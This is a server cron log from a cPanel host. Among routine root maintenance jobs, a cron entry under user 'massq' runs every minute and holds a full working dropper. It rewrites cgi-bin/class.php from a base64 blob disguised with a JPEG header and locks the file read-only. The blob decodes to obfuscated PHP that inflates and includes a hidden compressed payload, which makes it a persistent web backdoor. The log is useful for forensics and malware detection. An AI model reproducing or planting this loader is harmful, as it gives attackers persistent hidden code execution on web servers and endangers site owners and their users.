Sep  7 10:44:01 server CROND[3251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:44:01 server CROND[3252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:44:01 server CROND[3253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:45:01 server CROND[3656]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 10:45:01 server CROND[3658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:45:01 server CROND[3659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:45:01 server CROND[3663]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 10:45:01 server CROND[3664]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:45:01 server CROND[3662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:45:01 server CROND[3665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:46:01 server CROND[4482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:46:01 server CROND[4484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:46:01 server CROND[4483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:47:01 server CROND[4863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:47:01 server CROND[4864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:47:01 server CROND[4866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:48:01 server CROND[5345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:48:01 server CROND[5346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:48:01 server CROND[5347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:49:01 server CROND[5754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:49:01 server CROND[5755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:49:01 server CROND[5756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:50:01 server CROND[6157]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 10:50:01 server CROND[6158]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 10:50:01 server CROND[6162]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 10:50:01 server CROND[6166]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 10:50:01 server CROND[6165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:50:01 server CROND[6167]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:50:01 server CROND[6168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:50:01 server CROND[6164]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:50:01 server CROND[6171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:51:01 server CROND[6993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:51:01 server CROND[6994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:51:01 server CROND[6995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:52:01 server CROND[7381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:52:01 server CROND[7382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:52:01 server CROND[7384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:53:01 server CROND[7873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:53:01 server CROND[7874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:53:01 server CROND[7875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:54:01 server CROND[8257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:54:01 server CROND[8258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:54:01 server CROND[8259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:55:01 server CROND[8640]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 10:55:01 server CROND[8646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:55:01 server CROND[8650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:55:01 server CROND[8652]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 10:55:01 server CROND[8651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:55:01 server CROND[8654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:55:01 server CROND[8649]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
